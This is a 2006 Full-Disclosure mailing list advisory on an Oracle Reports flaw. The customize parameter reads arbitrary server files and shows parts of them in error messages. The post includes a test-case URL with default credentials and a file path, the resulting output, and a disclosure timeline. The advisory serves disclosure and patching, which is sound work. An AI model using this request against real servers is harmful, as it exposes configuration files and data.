[Full-disclosure] Oracle Reports - Read parts of files via customize(fixed after 875 days)

Hello FD-Reader

It took only 875 days to fix this problem.

Summary and additional information concerning the Oracle January 2006
CPU is available here:
http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.html

##########
http://www.red-database-security.com/advisory/oracle_reports_read_any_xm
l_file.html

#####################################################################
Read parts of any XML-file via customize parameter in Oracle Reports

Name Read parts of any XML-file via customize parameter
Severity Medium Risk
Category Information disclosure
Vendor URL http://www.oracle.com/
Author Alexander Kornbrust (ak at red-database-security.com)
Date 25 August 2005 (V 1.02)
Cert VU# 277757
Oracle Bug 5882923
Time to fix 875 days ago

Details:
########
Oracle Reports is Oracle's award-winning, high-fidelity enterprise
reporting tool.

It enables businesses to give immediate access to information to all
levels within and outside of the organization in an unrivaled scalable
and secure environment. Oracle Reports, a component of the Oracle
Application Server, is used by Oracle itself for the E-Business Suite.
Many large customers are using Oracle Reports as reporting tool for
their enterprise applications.

The Oracle Reports parameter customize can read any file by using an
absolute or relative file name.
Parts of the file content are displayed in the Reports error message
(see test case).

Affected Products:
##################
Internet Application Server
Oracle Application Server
Oracle Developer Suite

Patch Information
This bug is finally fixed with Critical Patch Update January 2006.

Testcase:
#########
http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+u
serid=scott/tiger@iasdb
+destype=cache+desformat=xml+CUSTOMIZE=/opt/ORACLE/ias/oracle/product/9.
0.2/webcache/webcache.xml

Reports Output*

REP–866648059: Error in the XML report definition at line 3 in
'
Element 'CALYPSO' used but not declared.'.

Reports Output*

History:
########
26-aug-2003 Oracle secalert was informed
27-aug-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005
Red-Database-Security offered Oracle more time if it is not possible to
provide a fix ==> NO FEEDBACK.
12-jul-2005 Oracle published CPU July 2005 without fixing this issue
18-jul-2005 Red-Database-Security published this advisory
21-jul-2005 Cert VU# and affected products added
13-jan-2005 days since initial report updated
17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU
January 2006)

(c) 2006 by Red-Database-Security GmbH
http://www.red-database-security.com

---

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/